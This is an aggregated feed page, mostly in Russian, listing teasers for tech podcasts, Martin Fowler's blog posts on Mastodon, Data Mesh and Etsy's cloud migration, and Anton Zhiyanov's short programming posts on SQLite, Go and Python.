Кто-то называет прогресс движением по кругу, кто-то заменой одних неприятностей другими, а кто-то считает его законом природы. В IT это чувствуется особенно сильно — и в этом выпуске мы обсудим, какой путь прошла фронтенд-разработка. Вспомним, когда вообще появился этот термин, что было до него, поностальгируем о кроссбраузерности и узнаем, смог бы senior десятилетней давности сойти сегодня за джуна. Ностальгировали с опытными фронтендерами: Максимом Ореховым, руководителем центра компетенций по разработке веб-приложений в Промсвязьбанке, и Евгением Дмитриевым, руководителем разработки дизайн-системы ivi. Запись онлайна от 07/07. 1:24 Опыт гостей: первое вхождение во фронтэнд. 2:21 Эпоха ве…

6 months, 3 weeks назад @ soundcloud.com
Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно
Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно

Важен ли вуз для карьеры?.. Однажды в начале 2000-х сисадмин одного регионального оператора связи три дня не мог починить биллинг. Ошибка была очень странной: в некоторых блоках упорно лезла дата 1970-01-01. Сисадмин искал причины повсюду, от формата даты и до взлома, пока не пришёл главный инженер — и не объяснил. Уходя, он посмотрел на окончившего биофак сисадмина, сложил пальцы, сотряс ими и произнёс: «Это база!». Сисадмин был отправлен на курсы — а фраза стала мемной. В этом выпуске мы поговорили о базе. Практика решает, но без теоретического фундамента не достичь высот. Мы обсудили, чего не понимают студенты-технари, с какими навыками студенту идти на первую работу, как совместить её с…

9 months, 2 weeks назад @ soundcloud.com
Мысли и Методы Мысли и Методы
последний пост None
Трёп Себранта Трёп Себранта
последний пост 1 month назад
Предновогоднее: чуток итогов-2022, чуток ожиданий-2023
Предновогоднее: чуток итогов-2022, чуток ожиданий-2023 Предновогоднее: чуток итогов-2022, чуток ожиданий-2023

-=Выпуск 71=- По традиции, под Новый год немного моего сольного трёпа про технологические итоги года уходящего и ожидания от года наступающего. Содержит для меня нетипичный фрагмент: хоть и не люблю я списки всяких персон года, решил объясниться, почему для меня в мире хайтека человеком уходящего года стал Илон Маск.

1 month назад @ sebrant.chat
Зачем декану ИТМО Hard Science Fiction
Зачем декану ИТМО Hard Science Fiction Зачем декану ИТМО Hard Science Fiction

-=Выпуск 70=- Саша Капитонов рассказывает, какую научную фантастику он любит и почему считает ее полезной и для себя, и для студентов. Выпуск может быть источником чтива на приближающихся новогодних каникулах, но я специально не даю здесь ссылок на многочисленные упомянутые книжки: внимательно слушайте и ищите авторов и их произведения на своих любимых сервисах: тут вкусы бывают сильно разные.

1 month, 2 weeks назад @ sebrant.chat
Два продуктово-технологических итога 2022
Два продуктово-технологических итога 2022 Два продуктово-технологических итога 2022

-=Выпуск 69=- Настал сезон, чтоб оглянуться на уходящий потихоньку год: не хочу длинных списков; порассуждаю о всего лишь двух не столько событиях, сколько процессах, которыми лично мне запомнился пейзаж области высоких технологий в 2022. В рассказе я обещаю ссылки на прошлые подкасты здесь в тему метавселенной (в моем её понимании) и на статьи, где можно посмотреть на генеративную графику ныне модных инструментов и поверхностно сравнить их. Майский рассказ на конференции CodeFest-2022 в Новосибирске Первое здесь — как я её для себя понимал (больше года назад) Как полтора года назад из Мастерской-15 Видео со по текстовым описаниям Аналогичное а не ролика

3 months, 2 weeks назад @ sebrant.chat
Саша Ларьяновский: визионер и оптимист EdTech (и не только)
Саша Ларьяновский: визионер и оптимист EdTech (и не только) Саша Ларьяновский: визионер и оптимист EdTech (и не только)

-=Выпуск 68=- Трёп про образование и технологии в нем, про визионерство и немножко про жизнь с давним другом и одним из тех, кто еще с прошлого века строил и продолжает строить интернет в разных местах, в разных компаниях, на разных должностях — но всегда с душой. Ссылки по теме: Упомянутый в разговоре — если хочется его регулярно почитывать

6 months назад @ sebrant.chat
Ваня Ямщиков три года спустя
Ваня Ямщиков три года спустя Ваня Ямщиков три года спустя

-=Выпуск 67=- Трёп в своем идеальном виде — про всё на свете, куда язык заведёт: про науку, машинное обучение, генеративное искусство, очеловечивание алгоритмов, климатический кризис и странности наших мозгов. Ссылочки на тему упомянутого в выпуске (и ) Текст Лёши Тихонова Лев Манович

7 months, 1 week назад @ sebrant.chat
Кому в метавселенной жить хорошо
Кому в метавселенной жить хорошо Кому в метавселенной жить хорошо

-=Выпуск 66=- Аудиоверсия моего открывающего доклада на конференции CodeFest-12 28 мая 2022 в Новосибирске: слегка отредактированная аудиодорожка презентации обрамлена моими уже домашними комментариями. Ссылки по теме: , сооснователями Мастерской-15, исследователями метавселенной Подкаст про то, (пока ее не опошлили)

8 months, 1 week назад @ sebrant.chat
⌨ Coding
Martin Fowler
последний пост 1 day, 11 hours назад
Exploring Mastodon: status for February 2023
Exploring Mastodon: status for February 2023 Exploring Mastodon: status for February 2023

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

1 day, 11 hours назад @ martinfowler.com
Remaining activities for the Data Mesh Accelerate Workshop
Remaining activities for the Data Mesh Accelerate Workshop Remaining activities for the Data Mesh Accelerate Workshop

The Data Mesh Accelerate workshop helps teams and organisations accelerate their Data Mesh transformation, by understanding their current state and exploring what the next steps will look like.

The Data Mesh Accelerate Workshop At Thoughtworks, our response has been a process called Data Mesh Accelerate.

Where the accelerate workshop fits in The Data Mesh Accelerate Workshop is one part of a data mesh transformation.

from: Data Mesh in practice: Getting off to the right start The Data Mesh Accelerate workshop fits in when you have got the domain stakeholders (business and technical people) interested and available for a few hours to kick start a successful Data Mesh transformation.

Discover…

3 weeks, 2 days назад @ martinfowler.com
My favorite musical discoveries of 2022
My favorite musical discoveries of 2022 My favorite musical discoveries of 2022

I've now made it a habit of mentioning six new musical discoveries I made this year.

Dancing Wittgenstein by Jazzrausch Bigband sample track: Dancing Wittgenstein Jazzrausch Bigband is compelling evidence that, however unlikely it sounds, Duke Ellington had a baby with Kraftwerk.

Chants by Al-jiçç sample track: Route The Mediterranean is a fascinating mixing pot: Graeco-Roman classicism, catholic Europe, the Maghreb, Ottoman, and Arabian cultures united by trade over the course of centuries.

Jokers by Vincent Peirani sample track: River The accordion is a rarity in serious musical circles, usually only found in Folk and Tango.

The main reason I make this annual article is to hopefully lead …

3 weeks, 2 days назад @ martinfowler.com
Some activities for the Data Mesh Accelerate Workshop
Some activities for the Data Mesh Accelerate Workshop Some activities for the Data Mesh Accelerate Workshop

The Data Mesh Accelerate workshop helps teams and organisations accelerate their Data Mesh transformation, by understanding their current state and exploring what the next steps will look like.

The Data Mesh Accelerate Workshop At Thoughtworks, our response has been a process called Data Mesh Accelerate.

Where the accelerate workshop fits in The Data Mesh Accelerate Workshop is one part of a data mesh transformation.

from: Data Mesh in practice: Getting off to the right start The Data Mesh Accelerate workshop fits in when you have got the domain stakeholders (business and technical people) interested and available for a few hours to kick start a successful Data Mesh transformation.

Prep wor…

3 weeks, 4 days назад @ martinfowler.com
Data Mesh Accelerate Workshop
Data Mesh Accelerate Workshop Data Mesh Accelerate Workshop

The Data Mesh Accelerate workshop helps teams and organisations accelerate their Data Mesh transformation, by understanding their current state and exploring what the next steps will look like.

The Data Mesh Accelerate Workshop At Thoughtworks, our response has been a process called Data Mesh Accelerate.

Where the accelerate workshop fits in The Data Mesh Accelerate Workshop is one part of a data mesh transformation.

from: Data Mesh in practice: Getting off to the right start The Data Mesh Accelerate workshop fits in when you have got the domain stakeholders (business and technical people) interested and available for a few hours to kick start a successful Data Mesh transformation.

Prep wor…

1 month назад @ martinfowler.com
Finding accounts to follow on Mastodon
Finding accounts to follow on Mastodon Finding accounts to follow on Mastodon

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

1 month, 2 weeks назад @ martinfowler.com
Installing Orbi Wifi Mesh broke my Sonos
Installing Orbi Wifi Mesh broke my Sonos Installing Orbi Wifi Mesh broke my Sonos

Last week I upgraded my wifi by installing a Netgear Orbi Wifi Mesh.

I've been very happy with my Sonos system, it delivers music around the house, with only occasional problems.

When Sonos is set up like this, the speakers create their own wifi network, independent of any other wifi network in the building.

Looking around the internet, I found good reviews for the Netgear Orbi system, so I picked one up.

The Sonos app on my iPhone couldn't see any of my Sonos speakers.

1 month, 4 weeks назад @ martinfowler.com
The impact of a product delivery culture at Etsy
The impact of a product delivery culture at Etsy The impact of a product delivery culture at Etsy

To keep up with that demand, they had to scale up infrastructure, product delivery, and talent drastically.

Mike identified the product delivery process as being another potential scaling bottleneck.

To be able to scale product delivery and bring in some outside expertise, they started looking for a vendor.

Scaling Product Delivery and Discovery Thoughtworks and Etsy formed a cross-functional Product Delivery Culture (PDC) team to analyze the current product delivery and discovery process.

Figure 1: Experiment validation processBlueprint for product delivery The PDC, in conjunction with product team leaders, came up with a set of product delivery principles and related delivery practice cha…

2 months назад @ martinfowler.com
photostream 129
photostream 129 photostream 129

Cape Cod, MA (2017)

2 months назад @ martinfowler.com
Introducing a product delivery culture at Etsy
Introducing a product delivery culture at Etsy Introducing a product delivery culture at Etsy

To keep up with that demand, they had to scale up infrastructure, product delivery, and talent drastically.

Mike identified the product delivery process as being another potential scaling bottleneck.

To be able to scale product delivery and bring in some outside expertise, they started looking for a vendor.

Scaling Product Delivery and Discovery Thoughtworks and Etsy formed a cross-functional Product Delivery Culture (PDC) team to analyze the current product delivery and discovery process.

Figure 1: Experiment validation processBlueprint for product delivery The PDC, in conjunction with product team leaders, came up with a set of product delivery principles and related delivery practice cha…

2 months назад @ martinfowler.com
Consequences of Etsy's move to the cloud
Consequences of Etsy's move to the cloud Consequences of Etsy's move to the cloud

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

2 months, 1 week назад @ martinfowler.com
Etsy's observability and ML infrastructure teams moving to the cloud
Etsy's observability and ML infrastructure teams moving to the cloud Etsy's observability and ML infrastructure teams moving to the cloud

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

2 months, 2 weeks назад @ martinfowler.com
Using the cloud to scale Etsy
Using the cloud to scale Etsy Using the cloud to scale Etsy

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

2 months, 2 weeks назад @ martinfowler.com
Using CWs
Using CWs Using CWs

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

2 months, 2 weeks назад @ martinfowler.com
Multiple Mastodon Accounts
Multiple Mastodon Accounts Multiple Mastodon Accounts

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

2 months, 4 weeks назад @ martinfowler.com
Антон Жиянов Антон Жиянов
последний пост 18 часов назад
Регулярные выражения в SQLite
Регулярные выражения в SQLite Регулярные выражения в SQLite

Проверяйте текст по шаблону и заменяйте фрагменты прямо из SQL.

18 часов назад @ antonz.ru
Композиция атомиков в Go
Композиция атомиков в Go Композиция атомиков в Go

Композиция атомиков в GoАтомарная операция в многозадачной программе — отличная штука.

Int32 func increment () { counter .

Но первый пример при этом гарантирует итоговое значение counter в многозадачной среде:var counter atomic .

Int32 func increment () { counter .

Add ( 1 ) }Если запустить 100 горутин, counter в итоге будет равен 200 (если в процессе выполнения не было ошибок).

2 weeks, 5 days назад @ antonz.ru
Идемпотентный Close в Go
Идемпотентный Close в Go Идемпотентный Close в Go

Идемпотентность — это когда повторный вызов операции над объектом не приводит к изменениям или ошибкам.

Очень полезная в разработке штука.

Давайте посмотрим, как применить идемпотентность, чтобы безопасно освободить занятые ресурсы.

Например, есть у нас ворота:Конструктор NewGate() открывает ворота, занимая какие-то системные ресурсы, и возвращает экземпляр Gate .

Понятно, что в итоге занятые ресурсы надо освободить:// do stuffПроблемы начнутся, если в какой-то ветке кода мы захотим явно закрыть ворота:

3 weeks, 4 days назад @ antonz.ru
Пользовательские функции в SQLite
Пользовательские функции в SQLite Пользовательские функции в SQLite

Как писать функции на чистом SQL.

4 months, 4 weeks назад @ antonz.ru
JSON Lines
JSON Lines JSON Lines

JSON LinesНа днях оценил формат JSON Lines.

Это такой CSV на стероидах:каждая запись идет отдельной строкой, как в CSV;но при этом представляет собой полноценный JSON.

JSON, в принципе, тоже можно читать потоково.

Но посмотрите, насколько это проще с JSON Lines:import json from typing import Iterator def jl_reader ( fname : str ) -> Iterator [ dict ]: with open ( fname ) as file : for line in file : obj = json .

strip ()) yield obj if __name__ == "__main__" : reader = jl_reader ( "employees.jl" ) for employee in reader : id = employee [ "id" ] name = employee [ "name" ] dept = employee [ "department" ] print ( f "# { id } - { name } ( { dept } )" )#11 - Diane (hr) #12 - Bob (hr) #21 - Emma …

6 months назад @ antonz.ru
Многозначительное многоточие в Python
Многозначительное многоточие в Python Многозначительное многоточие в Python

Не самая известная штука в Python — многоточие:Это рабочий код.

В питоне ... (он же Ellipsis ) — реальный объект, который можно использовать в коде.

Ellipsis — единственный экземпляр типа EllipsisType (аналогично тому, как None — единственный экземпляр типа NoneType ):Авторы Python в основном используют ... , чтобы показать, что у типа, метода или функции отсутствует реализация — как в примере с fly() .

И в тайп-хинтах:

8 months назад @ antonz.ru
Летающая свинья, или протоколы в Python
Летающая свинья, или протоколы в Python Летающая свинья, или протоколы в Python

Допустим, вы написали утилиту, которая отправляет что угодно в полет:Ну, то есть не прям все что угодно.

Очень удобно — одной функцией запускаем и голубя Френка, и самолет, и даже Супермена:Не то чтобы наши герои особо успешно справлялись с задачей, но запуск на них работает.

Дать понять, что параметр thing в launch() — это не любой объект, а обязательно летающая хреновина с методом fly() .

Если вы привыкли избегать типов, то обойдетесь именем переменной или комментарием к функции:Почему бы и нет.

Беда в том, что чем сложнее код, тем чаще сбоит «описательный» подход.

8 months, 1 week назад @ antonz.ru
Случайные числа и последовательности в Python
Случайные числа и последовательности в Python Случайные числа и последовательности в Python

Там намного больше, чем просто randint()

8 months, 2 weeks назад @ antonz.ru
Временные таблицы в SQLite
Временные таблицы в SQLite Временные таблицы в SQLite

Временные таблицы в SQLiteБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать.

Представление работает как CTE, но к нему можно обращаться как к обычной таблице и не повторять каждый раз подзапрос.

Как и CTE, представление тоже вычисляется на лету.

-- 1) create once create temp table combined_temp as select v . * , e . name , a . name from vacancy as v join employer as e on e . id = v . employer_id join area as a on a . id = v . area_id ; -- 2) use everywhere select ... from combined_temp where ... group by ... order by ...Технически, SQLite хранит временные таблицы в специальной temp -базе.

Она лежит в отдельном файле на диске и видна только тому соединени…

8 months, 3 weeks назад @ antonz.ru
JSON и виртуальные столбцы в SQLite
JSON и виртуальные столбцы в SQLite JSON и виртуальные столбцы в SQLite

У вычисляемых столбцов есть еще одно чрезвычайно полезное применение.

Допустим, вы решили вести журнал событий, которые происходят в системе.

События бывают разных типов, у каждого свой набор полей.

Например, вход в систему:Или пополнение счета:Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON.

Заводите таблицу events с единственным полем value :И выбираете события по конкретному объекту:

8 months, 3 weeks назад @ antonz.ru
Компактные объекты в Python
Компактные объекты в Python Компактные объекты в Python

Это здорово и удобно, пока не придется создать 10 млн объектов в памяти, которые благополучно ее и съедят.

Наверняка вы используете датакласс:from dataclasses import dataclass @dataclass class PetData : name : str price : int fn = lambda : PetData ( * fields ()) measure ( "dataclass" , fn )Pet size (dataclass) = 257 bytes x1.60 to baselineОго, какой толстенький!

СлотыВ Python 3.10 приехали датаклассы со слотами:@dataclass ( slots = True ) class PetData : name : str price : int fn = lambda : PetData ( * fields ()) measure ( "dataclass w/slots" , fn )Pet size (dataclass w/slots) = 153 bytes x0.95 to baselineОго!

Или прописывать слоты вручную:@dataclass class PetData : __slots__ = ( "name" , "…

8 months, 3 weeks назад @ antonz.ru
Новости стандартной библиотеки Python
Новости стандартной библиотеки Python Новости стандартной библиотеки Python

17 модулей с новыми фичами и доработками.

8 months, 4 weeks назад @ antonz.ru